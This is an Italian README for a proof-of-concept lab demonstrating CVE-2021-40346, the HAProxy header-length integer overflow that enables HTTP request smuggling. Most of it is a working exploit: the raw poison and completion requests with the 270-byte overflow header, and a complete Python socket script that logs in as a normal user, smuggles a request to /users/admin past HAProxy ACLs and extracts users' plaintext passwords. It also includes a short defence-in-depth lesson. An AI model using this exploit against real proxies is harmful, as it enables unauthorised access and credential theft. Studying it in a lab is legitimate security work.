
Contrabbando di richieste HTTP
Questo progetto dimostra CVE-2021-40346, una vulnerabilità critica di integer overflow in HAProxy che consente attacchi di HTTP Request Smuggling per aggirare i controlli di sicurezza.
Punteggio CVSSv3: 7.5 (Alto)
CVE-2021-40346 è una vulnerabilità di integer overflow nella logica di parsing degli header HTTP di HAProxy. Quando il nome di un header supera i 255 byte, il valore della lunghezza trabocca da un campo a 8 bit, causando un'errata interpretazione dell'header durante l'inoltro della richiesta.
L'attaccante invia: Nome header = "Content-Length0" + 255×'a' = 270 byte
Fase 1 (Parsing iniziale):
name_length = 270 % 256 = 14value_length = 1Content-Length: 60 e lo tratta come lunghezza del corpoFase 2 (Inoltro della richiesta):
"Content-Length""0"content-length: 0 alla richiesta inoltrataContent-Length: 60 (come da logica normale)Elaborazione del backend:
content-length: 0 da HAProxyConsidera HAProxy configurato con regole ACL che limitano l'accesso alle route admin:
http-request deny if { path_beg /users/admin }
Nel nostro PoC, utilizziamo una sessione utente normale (alice) per accedere all'endpoint protetto /users/admin che dovrebbe essere accessibile solo agli amministratori.
Richiesta malevola (Richiesta 1 - Veleno):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Richiesta inoltrata da HAProxy:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Richiesta di completamento (Richiesta 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Richiesta contrabbandata completa elaborata dal backend:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Risultato:
content-length: 0 (l'ACL vede una route sicura)L'istanza vulnerabile di HAProxy è configurata con regole ACL per proteggere l'endpoint admin:
...
# ACL per rilevare l'accesso all'endpoint admin
acl is_admin_endpoint path_beg /users/admin
# ACL per verificare il cookie di sessione admin
acl has_admin_session cook(session) -m beg admin_
# Negare l'accesso all'endpoint admin se l'utente non ha una sessione admin
http-request deny if is_admin_endpoint !has_admin_session
...
Punti chiave:
/users/admin è bloccato a meno che il cookie di sessione non inizi con admin_user_) vengono negatiIl server backend ha tre utenti e un endpoint admin:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... logica di autenticazione ...
# Genera token di sessione con prefisso del ruolo
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Restituisce dati sensibili incluse tutte le password degli utenti
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"PANNIELLO ADMIN{printable_text}Tutti gli utenti con password:{rows}"
Modello di sicurezza:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminPerché funziona:
POST / (consentita)POST / (nessuna restrizione admin)content-length: 0 (a causa del bug di overflow)GET /users/adminGET /users/admin direttamente, rivelando le passwordLezione sulla difesa in profondità: Questo dimostra perché i backend non dovrebbero mai fidarsi ciecamente del proxy. Anche con le ACL di HAProxy in atto, il backend dovrebbe:
@require_admin)Affidarsi esclusivamente ai controlli di accesso a livello di proxy crea un singolo punto di fallimento.
Il PoC dimostra il bypass delle ACL di HAProxy per accedere a /users/admin utilizzando la sessione di un utente normale attraverso quattro passaggi chiave:
# Login come alice (utente non admin)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Ricevi risposta ed estrai token di sessione
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Sessione: {session[:35]}...")
Scopo:
/users/admin# Crea richiesta contrabbandata incompleta che punta all'endpoint admin
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
Dettagli critici:
/users/adminDUMMY: (nessun CRLF) per mantenere la richiesta incompleta# Crea header overflow (270 byte = 14 dopo overflow a 8 bit)
overflow_header = "Content-Length0" + ("a" * 255)
# Costruisci richiesta veleno completa
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # Attiva integer overflow
f"Content-Length: {len(smuggled_incomplete)}\r\n" # Lunghezza reale del corpo
f"\r\n"
f"{smuggled_incomplete}" # Richiesta contrabbandata come "corpo"
).encode()
Cosa succede:
Content-Length0aaa... (270 byte) trabocca a 14 byte"Content-Length""0"content-length: 0# Invia richiesta veleno
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # Ricevi risposta POST /
# Invia richiesta di completamento (completa la richiesta contrabbandata)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# Cattura la risposta della richiesta contrabbandata
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# Decodifica e verifica il successo
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RISULTATI] {len(all_data)} byte ricevuti")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESSO! ACL DI HAPROXY BYPASSATA!")
print("🔓 Password rubate visibili nella risposta sopra!")
else:
print("\n⚠️ Controlla i log del backend - lo smuggling funziona ma la cattura della risposta necessita di regolazioni")
Flusso delle richieste:
admin_secret nella risposta